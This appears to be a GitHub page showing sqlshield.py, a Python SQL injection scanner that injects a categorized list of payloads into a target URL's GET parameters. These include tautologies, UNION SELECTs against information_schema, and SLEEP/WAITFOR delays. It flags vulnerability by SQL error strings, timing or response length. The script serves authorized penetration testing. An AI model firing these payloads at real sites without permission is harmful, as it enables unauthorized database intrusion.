Repository navigation
Expand file tree
/
Copy pathsqlshield.py
More file actions
341 lines (294 loc) · 11.5 KB
/
Copy pathsqlshield.py
File metadata and controls
341 lines (294 loc) · 11.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
#!/usr/bin/env python3
"""
SQLShield - SQL Injection Detection Tool
Author: Deepesh Kumar Mahawar (deepmaha2006)
Description: Detects SQL injection vulnerabilities in web applications
by testing various payloads against URL parameters.
For authorized security testing ONLY.
"""
import sys
import time
import json
import urllib.parse
import urllib.request
import urllib.error
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
# ANSI Colors
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
BOLD = "\033[1m"
RESET = "\033[0m"
MAGENTA = "\033[95m"
BANNER = f"""
{RED}{BOLD}
██████╗ ██████╗ ██╗ ███████╗██╗ ██╗██╗███████╗██╗ ██████╗
██╔════╝██╔═══██╗██║ ██╔════╝██║ ██║██║██╔════╝██║ ██╔══██╗
╚█████╗ ██║ ██║██║ ███████╗███████║██║█████╗ ██║ ██║ ██║
╚═══██╗██║▄▄ ██║██║ ╚════██║██╔══██║██║██╔══╝ ██║ ██║ ██║
██████╔╝╚██████╔╝███████╗███████║██║ ██║██║███████╗███████╗██████╔╝
╚═════╝ ╚══▀▀═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═════╝
{RESET}
{CYAN} SQL Injection Detection Tool v2.0{RESET}
{YELLOW} Author: Deepesh Kumar Mahawar{RESET}
{RED} [!] For authorized penetration testing ONLY [!]{RESET}
"""
# SQL Injection payloads categorized by type
PAYLOADS = {
"Error-Based": [
"'",
"''",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1'/*",
"\" OR \"1\"=\"1",
"1' ORDER BY 1--",
"1' ORDER BY 2--",
"1' ORDER BY 3--",
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
],
"Boolean-Based": [
"' AND 1=1--",
"' AND 1=2--",
"1 AND 1=1",
"1 AND 1=2",
"' AND 'x'='x",
"' AND 'x'='y",
"1' AND SLEEP(0)--",
],
"Time-Based": [
"'; WAITFOR DELAY '0:0:2'--",
"' OR SLEEP(2)--",
"1; SELECT SLEEP(2)--",
"'; SELECT pg_sleep(2)--",
"1 AND SLEEP(2)",
],
"UNION-Based": [
"' UNION SELECT 1--",
"' UNION SELECT 1,2--",
"' UNION SELECT 1,2,3--",
"' UNION ALL SELECT NULL--",
"' UNION SELECT @@version--",
"' UNION SELECT user()--",
"' UNION SELECT table_name FROM information_schema.tables--",
],
"Comment-Based": [
"'--",
"'#",
"' /*",
"admin'--",
"admin'#",
"' OR 1=1--",
"' OR 1=1#",
]
}
# Error signatures indicating SQL injection
ERROR_SIGNATURES = [
# MySQL
"you have an error in your sql syntax",
"warning: mysql",
"mysql_fetch_array()",
"mysql_num_rows()",
"supplied argument is not a valid mysql",
# PostgreSQL
"psycopg2",
"org.postgresql",
"pg_query()",
# MSSQL
"microsoft ole db provider for sql server",
"odbc sql server driver",
"sqlserver",
"unclosed quotation mark",
# Oracle
"ora-00933",
"ora-00907",
"oracle error",
"oracle.*driver",
# General
"sql syntax",
"warning: pg_",
"valid mysql result",
"mysqlclient",
"syntax error",
"unterminated string",
"quoted string not properly terminated",
]
def print_banner():
print(BANNER)
def normalize_url(url: str) -> str:
"""Ensure URL has a scheme."""
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
def extract_params(url: str) -> list:
"""Extract GET parameters from a URL."""
parsed = urllib.parse.urlparse(url)
params = urllib.parse.parse_qs(parsed.query, keep_blank_values=True)
return list(params.keys())
def build_injected_url(base_url: str, param: str, payload: str) -> str:
"""Build URL with injected payload in the specified parameter."""
parsed = urllib.parse.urlparse(base_url)
params = urllib.parse.parse_qs(parsed.query, keep_blank_values=True)
params[param] = [payload]
new_query = urllib.parse.urlencode(params, doseq=True)
injected = parsed._replace(query=new_query)
return urllib.parse.urlunparse(injected)
def fetch_url(url: str, timeout: int = 8) -> tuple:
"""
Fetch a URL and return (response_body, response_time, status_code).
Returns (None, -1, -1) on failure.
"""
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
req = urllib.request.Request(url, headers=headers)
try:
start = time.time()
with urllib.request.urlopen(req, timeout=timeout) as resp:
elapsed = time.time() - start
body = resp.read().decode("utf-8", errors="ignore").lower()
return body, elapsed, resp.status
except urllib.error.HTTPError as e:
elapsed = time.time() - start if 'start' in locals() else -1
try:
body = e.read().decode("utf-8", errors="ignore").lower()
return body, elapsed, e.code
except Exception:
return None, elapsed, e.code
except Exception:
return None, -1, -1
def check_sqli(url: str, param: str, payload: str, payload_type: str,
baseline_body: str, baseline_time: float) -> dict:
"""Test a single payload and detect injection."""
injected_url = build_injected_url(url, param, payload)
body, resp_time, status = fetch_url(injected_url)
result = {
"vulnerable": False,
"type": payload_type,
"payload": payload,
"url": injected_url,
"evidence": "",
"confidence": "Low"
}
if body is None:
return result
# 1. Error-based detection
for sig in ERROR_SIGNATURES:
if sig in body and sig not in baseline_body:
result["vulnerable"] = True
result["evidence"] = f"SQL error signature found: '{sig}'"
result["confidence"] = "High"
return result
# 2. Time-based detection (response significantly delayed)
if payload_type == "Time-Based" and resp_time > 1.8:
if baseline_time < 1.0: # Only flag if baseline was fast
result["vulnerable"] = True
result["evidence"] = f"Response delayed by {resp_time:.2f}s (baseline: {baseline_time:.2f}s)"
result["confidence"] = "Medium"
return result
# 3. Boolean-based: significant content difference
if payload_type == "Boolean-Based" and baseline_body:
len_diff = abs(len(body) - len(baseline_body))
if len_diff > 200: # Noticeable difference in response
result["vulnerable"] = True
result["evidence"] = f"Response length changed by {len_diff} chars"
result["confidence"] = "Medium"
return result
def scan_url(url: str, params: list = None, verbose: bool = True) -> dict:
"""
Scan a URL for SQL injection vulnerabilities.
Args:
url: Target URL (with parameters)
params: List of parameters to test (None = auto-detect)
verbose: Print real-time results
Returns:
Scan results dictionary
"""
url = normalize_url(url)
if verbose:
print_banner()
auto_params = extract_params(url)
if params is None:
params = auto_params
if not params:
print(f"{YELLOW}[!] No GET parameters detected in URL.{RESET}")
print(f"{CYAN}[*] Add parameters like: {url}?id=1&name=test{RESET}")
return {"url": url, "params_tested": [], "vulnerabilities": []}
print(f"\n{CYAN}[*] Target URL : {BOLD}{url}{RESET}")
print(f"{CYAN}[*] Parameters : {', '.join(params)}")
print(f"{CYAN}[*] Started : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f"{YELLOW}{'─' * 70}{RESET}\n")
# Establish baseline
print(f"{CYAN}[*] Establishing baseline response...{RESET}")
baseline_body, baseline_time, _ = fetch_url(url)
if baseline_body is None:
baseline_body = ""
baseline_time = 1.0
print(f"{GREEN}[+] Baseline: {baseline_time:.3f}s, {len(baseline_body)} chars{RESET}\n")
all_vulns = []
total_tests = sum(len(p_list) for p_list in PAYLOADS.values()) * len(params)
tested = 0
for param in params:
print(f"\n{CYAN}[*] Testing parameter: {BOLD}{param}{RESET}")
print(f"{'─' * 50}")
param_vulns = []
for payload_type, payload_list in PAYLOADS.items():
for payload in payload_list:
result = check_sqli(url, param, payload, payload_type, baseline_body, baseline_time)
tested += 1
if result["vulnerable"]:
param_vulns.append(result)
confidence_color = GREEN if result["confidence"] == "High" else YELLOW
print(f" {RED}[VULN]{RESET} Type: {CYAN}{payload_type}{RESET} | "
f"Payload: {YELLOW}{payload[:40]}{RESET} | "
f"Confidence: {confidence_color}{result['confidence']}{RESET}")
print(f" Evidence: {result['evidence']}")
all_vulns.append({**result, "parameter": param})
else:
sys.stdout.write(f"\r {GREEN}[OK]{RESET} Testing {payload_type}: {payload[:40]:<40}")
sys.stdout.flush()
print()
if not param_vulns:
print(f" {GREEN}[✓] Parameter '{param}' appears safe{RESET}")
scan_result = {
"target_url": url,
"scan_time": datetime.now().isoformat(),
"parameters_tested": params,
"total_payloads": tested,
"vulnerabilities_found": len(all_vulns),
"is_vulnerable": len(all_vulns) > 0,
"vulnerabilities": all_vulns
}
# Summary
print(f"\n{YELLOW}{'═' * 70}{RESET}")
if all_vulns:
print(f"{RED}{BOLD}[!] VULNERABLE: {len(all_vulns)} injection point(s) found!{RESET}")
else:
print(f"{GREEN}{BOLD}[✓] No SQL injection vulnerabilities detected{RESET}")
print(f"{CYAN}[*] Tested {tested} payloads across {len(params)} parameter(s){RESET}")
print(f"{YELLOW}{'═' * 70}{RESET}\n")
return scan_result
def save_report(scan_result: dict, output_file: str = None):
"""Save scan results to JSON file."""
if not output_file:
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = f"sqlshield_report_{ts}.json"
with open(output_file, "w") as f:
json.dump(scan_result, f, indent=2)
print(f"{GREEN}[+] Report saved: {output_file}{RESET}")
def main():
print_banner()
print(f"{CYAN}SQLShield - SQL Injection Detection Tool{RESET}")
print(f"{YELLOW}Usage: python sqlshield.py <URL>{RESET}\n")
if len(sys.argv) < 2:
target = input(f"{CYAN}[?] Enter target URL (e.g., http://testphp.vulnweb.com/artists.php?artist=1): {RESET}").strip()
else:
target = sys.argv[1]
results = scan_url(target)
save_report(results)
if __name__ == "__main__":
main()